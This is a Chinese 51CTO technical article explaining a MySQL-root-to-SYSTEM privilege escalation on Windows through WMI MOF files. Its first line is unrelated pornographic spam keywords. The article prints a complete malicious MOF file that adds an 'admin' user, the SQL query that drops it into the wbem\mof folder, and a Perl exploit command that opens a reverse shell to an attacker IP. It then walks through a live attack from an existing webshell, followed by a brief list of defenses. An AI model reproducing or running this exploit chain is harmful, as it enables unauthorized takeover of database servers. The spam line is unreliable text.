偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

原創(chuàng)
安全 數(shù)據(jù)安全 應(yīng)用安全
MySQL Root權(quán)限MOF方法提權(quán)是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit,簡稱mysql遠程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。

【51CTO.com原創(chuàng)稿件】MySQL Root權(quán)限MOF方法提權(quán)是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱mysql遠程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法1:運行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因為此功能可能不會提供在將來的版本后,不應(yīng)使用。注意使用MOF方法提權(quán)的前提是當前Root帳號可以復制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!

001漏洞利用方法分析

該漏洞的利用前提條件是必須具備mysql的root權(quán)限,在Kingcope公布的0day中公布了一個pl利用腳本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100為mysql數(shù)據(jù)庫所在服務(wù)器,mysql口令為空,反彈到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

將以下代碼保存為nullevt.mof文件:

  1. #pragma namespace("\\\\.\\root\\subscription")  
  2.  
  3. instance of __EventFilter as $EventFilter  
  4. {  
  5.     EventNamespace = "Root\\Cimv2";  
  6.     Name  = "filtP2";  
  7.     Query = "Select * From __InstanceModificationEvent "  
  8.             "Where TargetInstance Isa \"Win32_LocalTime\" "  
  9.             "And TargetInstance.Second = 5";  
  10.     QueryLanguage = "WQL";  
  11. };  
  12.  
  13. instance of ActiveScriptEventConsumer as $Consumer  
  14. {  
  15.     Name = "consPCSV2";  
  16.     ScriptingEngine = "JScript";  
  17.     ScriptText =  
  18.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
  19. };  
  20.  
  21. instance of __FilterToConsumerBinding  
  22. {  
  23.     Consumer   = $Consumer;  
  24.     Filter = $EventFilter;  
  25. }; 

2.通過Mysql查詢將文件導入

執(zhí)行以下查詢語句,將上面生成的nullevt.mof導入到c:\windows\system32\wbem\mof\目錄下在windows7中默認是拒絕訪問的。導入后系統(tǒng)會自動運行,執(zhí)行命令。

  1. select load_file('C:\\RECYCLER\\nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

002實戰(zhàn)利用

1.實驗環(huán)境

本次實驗環(huán)境為Windows2003+Apache+PHP,已經(jīng)擁有Webshell權(quán)限。

2.上傳文件到可寫目錄

將nullevt.mof文件上傳到服務(wù)器可寫目錄,例如C:\RECYCLER\,如圖5-4所示。

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

上傳文件nullevt.mof

3.執(zhí)行命令

配置好中國菜刀,然后通過數(shù)據(jù)庫管理,執(zhí)行查詢命令,在執(zhí)行查詢命令前需要先選擇一下數(shù)據(jù)庫,然后將以下代碼復制到查詢語句輸入框中,如圖5-5所示。

select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

執(zhí)行查詢命令

4.查看執(zhí)行結(jié)果

執(zhí)行完畢后需要修改添加用戶命令為將用戶添加到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳并查詢,如圖5-6所示,通過net user查看,果然admin已被添加到系統(tǒng)中。

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

添加用戶成功

003防范方法

Mysql Root權(quán)限MOF方法提權(quán)其前提條件是能夠?qū)⑸蟼鞯膎ullevt.mof復制到系統(tǒng)目錄下,例如c:\windows\system32\wbem\mof中,如果無法復制則會提權(quán)失敗。一般對Windows2003以下操作系統(tǒng)效果較好,Windows2008以上由于保護機制,較少能夠成功。因此可以采取以下措施進行防范:

1.在程序數(shù)據(jù)庫連接文件中盡量不要使用Root帳號進行連接。

2.Root帳號使用強加密方式,采用字母大小寫+數(shù)字+特殊字符,密碼位數(shù)15位以上。

3.對Mysql數(shù)據(jù)庫的mysql數(shù)據(jù)庫目錄權(quán)限嚴格限制,IIS用戶無法讀寫該文件。

4. 操作系統(tǒng)目錄c:\windows\system32\wbem禁止寫入。

【51CTO原創(chuàng)稿件,合作站點轉(zhuǎn)載請注明原文作者和出處為51CTO.com】

責任編輯:藍雨淚 來源: 51CTO.com
相關(guān)推薦

2017-02-28 09:34:21

2017-03-07 08:50:17

2017-02-16 10:00:46

2010-12-10 15:23:49

Linux漏洞

2017-04-17 19:48:51

2009-07-25 16:52:29

2017-11-08 10:20:10

2019-05-31 12:13:49

MySQL數(shù)據(jù)庫安全

2016-11-14 13:50:56

2016-12-12 09:11:20

2011-03-07 11:36:23

FileZillaSe

2025-06-19 09:22:45

2017-04-07 09:46:16

2021-11-12 15:42:34

MySQL數(shù)據(jù)庫權(quán)限

2018-07-03 15:05:34

數(shù)據(jù)庫Oracle數(shù)據(jù)提取

2011-04-07 15:02:02

LinuxMySQL數(shù)據(jù)庫

2018-06-21 14:50:00

2010-05-18 16:58:31

MySQL數(shù)據(jù)庫

2011-08-23 17:45:54

MySQL丟失root密碼

2017-03-14 13:57:15

數(shù)據(jù)庫權(quán)限分配探討
點贊
收藏

51CTO技術(shù)棧公眾號